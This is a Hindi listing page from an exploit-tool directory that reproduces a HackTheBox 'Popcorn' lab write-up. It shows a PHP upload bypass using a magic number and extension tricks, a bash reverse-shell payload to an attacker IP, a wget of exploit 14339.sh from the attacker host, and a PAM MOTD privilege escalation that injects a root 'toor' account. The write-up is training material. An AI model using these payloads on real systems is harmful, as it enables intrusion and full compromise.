Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Popcorn-TJNULL-OSCP- — पॉपकॉर्न HTB राइट-अप जिसमें उन्नत डायरेक्टरी फ़ज़िंग, Burp Suite का उपयोग करके मैजिक नंबर/एक्सटेंशन स्पूफिंग के माध्यम से फ़ाइल अपलोड बाईपास, और CVE-2010-0832 (PAM MOTD फ़ाइल टैम्परिंग) के माध्यम से विशेषाधिकार वृद्धि शामिल है। | Kitploit
उपकरण/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
विशेषाधिकार वृद्धिटोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफज़िंगCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

पॉपकॉर्न HTB राइट-अप जिसमें उन्नत डायरेक्टरी फ़ज़िंग, Burp Suite का उपयोग करके मैजिक नंबर/एक्सटेंशन स्पूफिंग के माध्यम से फ़ाइल अपलोड बाईपास, और CVE-2010-0832 (PAM MOTD फ़ाइल टैम्परिंग) के माध्यम से विशेषाधिकार वृद्धि शामिल है।

रिपॉजिटरी देखें

HackTheBox: Popcorn लेखन

दिनांक: जून 05, 2026
कठिनाई: आसान
प्लेटफ़ॉर्म: HackTheBox
मुख्य तकनीकें: पोर्ट और सेवा खोज, निर्देशिका फ़ज़िंग (Gobuster), फ़ाइल अपलोड चोरी, HTTP अनुरोध हेरफेर (Burp Suite), दूरस्थ कोड निष्पादन (RCE), उन्नत TTY शेल स्थिरीकरण (Python), स्थानीय कर्नेल/PAM शोषण (MOTD फ़ाइल छेड़छाड़)।


1. टोही और गणना

पोर्ट स्कैनिंग (त्वरित टोही)

हम प्रवेश बिंदुओं का पता लगाने के लिए सभी 65,535 पोर्ट (-p-) पर एक तेज़ TCP पोर्ट स्कैन करके शुरू करते हैं। हम --min-rate 5000 का उपयोग करके निष्पादन गति को अनुकूलित करते हैं और ऑडिटिंग वातावरण में प्रक्रिया को सुव्यवस्थित करने के लिए DNS समाधान और पिंग स्वीप को छोड़ देते हैं:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

प्रारंभिक स्कैन विश्वसनीय रूप से दो खुले पोर्ट का पता लगाता है: पोर्ट 22 (SSH) और पोर्ट 80 (HTTP)।

सेवा और भेद्यता स्कैनिंग (गहराई से जांच)

इसके बाद, हम सटीक सेवा संस्करण निर्धारित करने और Nmap के मानक और बुनियादी भेद्यता स्क्रिप्ट चलाने के लिए पहचाने गए पोर्ट पर एक लक्षित, गहन स्कैन करते हैं:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

आउटपुट से, हम लक्ष्य पारिस्थितिकी तंत्र के बारे में महत्वपूर्ण जानकारी निकालते हैं:

  • पोर्ट 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (एक काफी पुरानी Ubuntu Linux वितरण को इंगित करता है)।
  • पोर्ट 80/TCP (HTTP): Apache httpd 2.2.12

निर्देशिका फ़ज़िंग (Gobuster)

ब्राउज़र के माध्यम से वेब एप्लिकेशन के साथ बातचीत करने से पहले, हम डोमेन मैपिंग को साफ करने और आंतरिक रीडायरेक्शन को सही ढंग से हल करने के लिए अपने हमलावर मशीन की /etc/hosts फ़ाइल में लक्ष्य IP पता जोड़ते हैं:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

फिर हम DirBuster की क्लासिक मध्यम आकार की शब्दसूची के साथ gobuster का उपयोग करके एक स्वचालित छिपी निर्देशिका खोज चलाते हैं:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

फ़ज़िंग चरण पीड़ित के वेब सर्वर पर निम्नलिखित सुलभ पथों को उजागर करता है:

  • /index (मानक इंडेक्स लैंडिंग पेज)।
  • /test (परीक्षण पैनल या विकास जानकारी फ़ाइल)।
  • /torrent (टोरेंट फ़ाइलों को होस्ट और साझा करने के लिए समर्पित एक पूरी तरह कार्यात्मक वेब प्लेटफ़ॉर्म)।
  • /response (आंतरिक प्रतिक्रिया पृष्ठ)।

2. प्रारंभिक पहुंच वेक्टर (वेब शोषण और फ़िल्टर चोरी)

/torrent निर्देशिका की खोज करने पर एक टोरेंट साझाकरण CMS का पता चलता है। अपलोड सुविधाओं के साथ बातचीत करने के लिए, हम मौके पर बनाए गए एक वैध खाते में पंजीकरण करते हैं और लॉग इन करते हैं। एक वैध .torrent फ़ाइल प्रकाशित करने के बाद, प्लेटफ़ॉर्म टोरेंट विवरण संपादित करने और एक प्रचारक स्क्रीनशॉट छवि अपलोड करने का विकल्प सक्षम करता है। यह विशिष्ट फ़ॉर्म हमारा प्राथमिक हमला वेक्टर बन जाता है।

दूरस्थ कोड निष्पादन (RCE) प्राप्त करने के लिए, हम Burp Suite (Repeater) का उपयोग करके बैकएंड व्यवहार का विश्लेषण करते हुए परीक्षण चरणों की एक श्रृंखला से गुजरते हैं:

प्रयास 1: GET पैरामीटर के माध्यम से डायनेमिक वेबशेल (वाक्यविन्यास त्रुटि)

हम स्क्रीनशॉट अपलोड अनुरोध को इंटरसेप्ट करते हैं और फ़ाइल नाम को exploit.php में संशोधित करते हैं। हम फ़ाइल बॉडी में एक क्लासिक वन-लाइनर वेबशेल डालने का प्रयास करते हैं:

root@kitploit:~
<?php system($_GET['cmd']) ?>

परिणाम: वेब सर्वर PHP निर्देश के अंत में अर्धविराम ; की कमी के कारण एक आंतरिक निष्पादन त्रुटि लौटाता है, जिससे निष्पादन प्रवाह टूट जाता है।

प्रयास 2: अपलोड URL में पैरामीटर के साथ इंजेक्शन (विधि विफलता)

हम वाक्यविन्यास को <?php system($_GET['cmd']); ?> में सही करते हैं, लेकिन चूंकि अनुरोध POST ( multipart/form-data का उपयोग करके) भेजा जाता है, हम अपने कमांड को सीधे हेडर URL (POST /torrent/upload_file.php?cmd=whoami) में पास करने का प्रयास करते हैं। परिणाम: वेब सर्वर निम्नलिखित त्रुटि फेंकता है:

root@kitploit:~
Cannot execute a blank command

विश्लेषण: फ़ाइल अपलोड पार्सिंग के दौरान, बैकएंड URL में मौजूद GET वेरिएबल्स को पूरी तरह से अनदेखा करता है। upload_file.php स्क्रिप्ट फ़ाइल को डिस्क पर लिखता है लेकिन तुरंत आंतरिक फ़ंक्शन को निष्पादित करने का प्रयास करता है। चूंकि इसे अपेक्षित बॉडी वेरिएबल्स में कुछ नहीं मिलता, $_GET['cmd'] को खाली माना जाता है।

प्रयास 3: डबल एक्सटेंशन (स्थैतिक निष्पादन विफलता)

बुनियादी एक्सटेंशन जांच फ़िल्टर को बायपास करने के लिए जो यह सत्यापित करते हैं कि फ़ाइल एक वैध छवि है या नहीं, हम फ़ाइल का नाम बदलकर innocent.php.png करते हैं और एक रिवर्स शेल पेलोड हार्डकोड करते हैं ताकि यह बाहरी मापदंडों पर निर्भर न हो:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

परिणाम: सर्वर एक सफल 200 OK के साथ प्रतिक्रिया करता है:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

विश्लेषण: हालांकि इसने प्रारंभिक फ़िल्टर को सफलतापूर्वक बायपास कर दिया, चूंकि फ़ाइल सख्ती से .png एक्सटेंशन के साथ समाप्त होती है, Apache सर्वर ने इसे एक सामान्य स्थैतिक छवि के रूप में माना। जब इसे ब्राउज़ किया गया, तो ब्राउज़र ने कच्चे बाइट्स को सादे पाठ के रूप में प्रिंट किया; Apache ने कभी फ़ाइल को PHP इंटरप्रेटर को नहीं भेजा, जिसका अर्थ है कि हमारा Netcat सुनने वाला कभी कनेक्शन नहीं पकड़ पाया।

प्रयास 4: सफल बाईपास (एक्सटेंशन संशोधन और मैजिक नंबर)

यह जानते हुए कि सर्वर को कोड निष्पादन को ट्रिगर करने के लिए .php एक्सटेंशन को पार्स करने की आवश्यकता है, हम एक्सटेंशन क्रम को उलट देते हैं (innocent.png.php), Content-Type: image/png हेडर को बरकरार रखते हैं, और बैकएंड सामग्री सत्यापन जांच को धोखा देने के लिए फ़ाइल बॉडी की शुरुआत में PNG हस्ताक्षर या मैजिक नंबर (‰PNG) जोड़ते हैं:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

परिणाम: वेब सर्वर फ़ाइल को साफ-साफ स्वीकार करता है, अनुगामी एक्सटेंशन को संसाधित करता है, और इसे अपलोड निर्देशिका में innocent.php नाम से सहेजता है:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

दूरस्थ कोड निष्पादन (RCE) को ट्रिगर करना

चूंकि अपलोड स्क्रिप्ट केवल डिस्क पर फ़ाइल को संग्रहीत करती है और अपलोड POST अनुरोध संदर्भ में इसे निष्पादित नहीं करती है, हम सर्वर को इसे पढ़ने के लिए मजबूर करने के लिए एक स्वतंत्र कॉल ट्रिगर करते हैं:

  1. हमलावर मशीन पर Netcat सुनने वाला सेटअप करें:
root@kitploit:~
nc -lvnp 4444

  1. अपलोड की गई फ़ाइल के URL पथ पर सीधे ब्राउज़ करके रिवर्स शेल ट्रिगर करें (या तो ब्राउज़र के माध्यम से या Burp में एक साफ GET अनुरोध का उपयोग करके):
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Apache सर्वर को फ़ाइल को संसाधित करने के लिए मजबूर किया जाता है, PHP टैग का पता लगाता है, Bash पेलोड को निष्पादित करता है, और कनेक्शन हमारे सुनने वाले पर पूरी तरह से पकड़ में आता है, जो www-data उपयोगकर्ता के रूप में प्रारंभिक पहुंच प्रदान करता है।


3. पोस्ट-एक्सप्लॉइटेशन और TTY शेल स्थिरीकरण

शेल प्राप्त करने के तुरंत बाद विशेषाधिकारों को उन्नत करने का प्रयास गंभीर पर्यावरण सीमाओं को उजागर करता है:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

su कमांड को सुरक्षित रूप से इनपुट स्वीकार करने के लिए एक वास्तविक इंटरैक्टिव टर्मिनल (TTY) की सख्त आवश्यकता है। python3 के माध्यम से एक को मजबूर करने का प्रयास इंगित करता है कि यह इस लीगेसी बॉक्स पर स्थापित नहीं है (The program 'python3' is currently not installed)।

हम मशीन पर मौजूद क्लासिक Python बाइनरी (Python 2) का उपयोग करके और अपनी हमलावर मशीन के टर्मिनल डिस्क्रिप्टर को पुन: कॉन्फ़िगर करके इस रुकावट को बायपास करते हैं:

root@kitploit:~
# 1. लीगेसी Python के पूर्ण पथ का उपयोग करके एक इंटरैक्टिव शेल स्पॉन करें
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. शेल प्रक्रिया को पृष्ठभूमि में निलंबित करें
Ctrl + Z

# 3. अपने हमलावर टर्मिनल पर, कीबोर्ड स्थिति को रॉ पर सेट करें और Netcat सुनने वाले को अग्रभूमि में लाएं
stty raw -echo; fg

# 4. स्क्रीन रिफ्रेश को मजबूर करें और इतिहास और ऑटोकम्प्लीट समर्थन के लिए टर्मिनल पर्यावरण चर मैप करें
reset xterm
export TERM=xterm
export SHELL=bash


4. विशेषाधिकार एस्केलेशन

स्थानीय सिस्टम गणना

हम पीड़ित मशीन पर चल रहे OS वितरण और Linux कर्नेल संस्करण का निरीक्षण करते हैं:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

ऑपरेटिंग सिस्टम एक विंटेज Ubuntu रिलीज़ (Karmic Koala) की ओर इशारा करता है, जिसके कर्नेल और कोर पैकेज में कई ज्ञात स्थानीय विशेषाधिकार एस्केलेशन दोष हैं।

PAM MOTD दोष का शोषण

हम एक अत्यधिक व्यवहार्य वेक्टर की पहचान करते हैं जिसमें PAM का मैसेज ऑफ द डे पार्सिंग (Linux PAM 1.1.0 - MOTD फ़ाइल छेड़छाड़ विशेषाधिकार एस्केलेशन, CVE-2010-0832 के तहत ट्रैक किया गया) शामिल है। यह भेद्यता स्थानीय उपयोगकर्ताओं को स्थानीय SSH प्रमाणीकरण क्रियाओं के दौरान असुरक्षित symlink हैंडलिंग के माध्यम से root के स्वामित्व वाली फ़ाइलों में हेरफेर करने की अनुमति देती है।

हम हमले के मार्ग को स्वचालित करने के लिए सार्वजनिक एक्सप्लॉइट स्क्रिप्ट 14339.sh का उपयोग करते हैं।

  1. अपनी हमलावर मशीन पर एक्सप्लॉइट डाउनलोड करें और इसे होस्ट करने के लिए एक बुनियादी Python HTTP सर्वर स्पिन करें:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. Popcorn पर स्थिर शेल से, /tmp निर्देशिका (जो वैश्विक पढ़ने/लिखने/निष्पादित करने की अनुमति प्रदान करती है) पर नेविगेट करें, स्क्रिप्ट डाउनलोड करें, और इसे निष्पादन योग्य बनाएं:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

एक्सप्लॉइट आउटपुट:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

स्क्रिप्ट सफलतापूर्वक निष्पादन पूरा करती है, सीधे /etc/passwd पर स्थानीय उपयोगकर्ता डेटाबेस के साथ छेड़छाड़ करती है।

रूट में अपग्रेड करना

एक्सप्लॉइट के आंतरिक कामकाज के कारण, यह मूल root उपयोगकर्ता खाते के पासवर्ड को नहीं बदलता है। इसके बजाय, यह /etc/passwd फ़ाइल के अंत में रूट विशेषाधिकारों के साथ एक पूरी तरह से नया क्लोन उपयोगकर्ता इंजेक्ट करता है।

हम उपयोगकर्ता फ़ाइल की अंतिम पंक्ति पढ़कर इसकी पुष्टि करते हैं:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

नोट: 0:0 (UID/GID) कॉन्फ़िगरेशन इस खाते को रूट प्रशासक के समान पहचान पैरामीटर प्रदान करता है।

जबकि पासवर्ड toor के साथ su root चलाने पर Authentication failure त्रुटि आती है क्योंकि मूल रूट खाता अछूता रहता है, हमारा स्थिर Python TTY शेल हमें कस्टम क्लोन खाते को लक्षित करके सुचारू रूप से उपयोगकर्ता बदलने की अनुमति देता है:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

हम पासवर्ड (toor) प्रदान करते हैं, तुरंत हमारे टर्मिनल प्रॉम्प्ट को सर्वोच्च हैश पहचानकर्ता (#) में बदल देते हैं:

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

लक्ष्य मशीन पूरी तरह से समझौता कर ली गई है। अब हमारे पास आवश्यक ध्वज हैश एकत्र करने के लिए प्रशासनिक पहुंच है:

  • उपयोगकर्ता ध्वज: /home/george/user.txt
  • रूट ध्वज: /root/root.txt
टूल डाउनलोड करें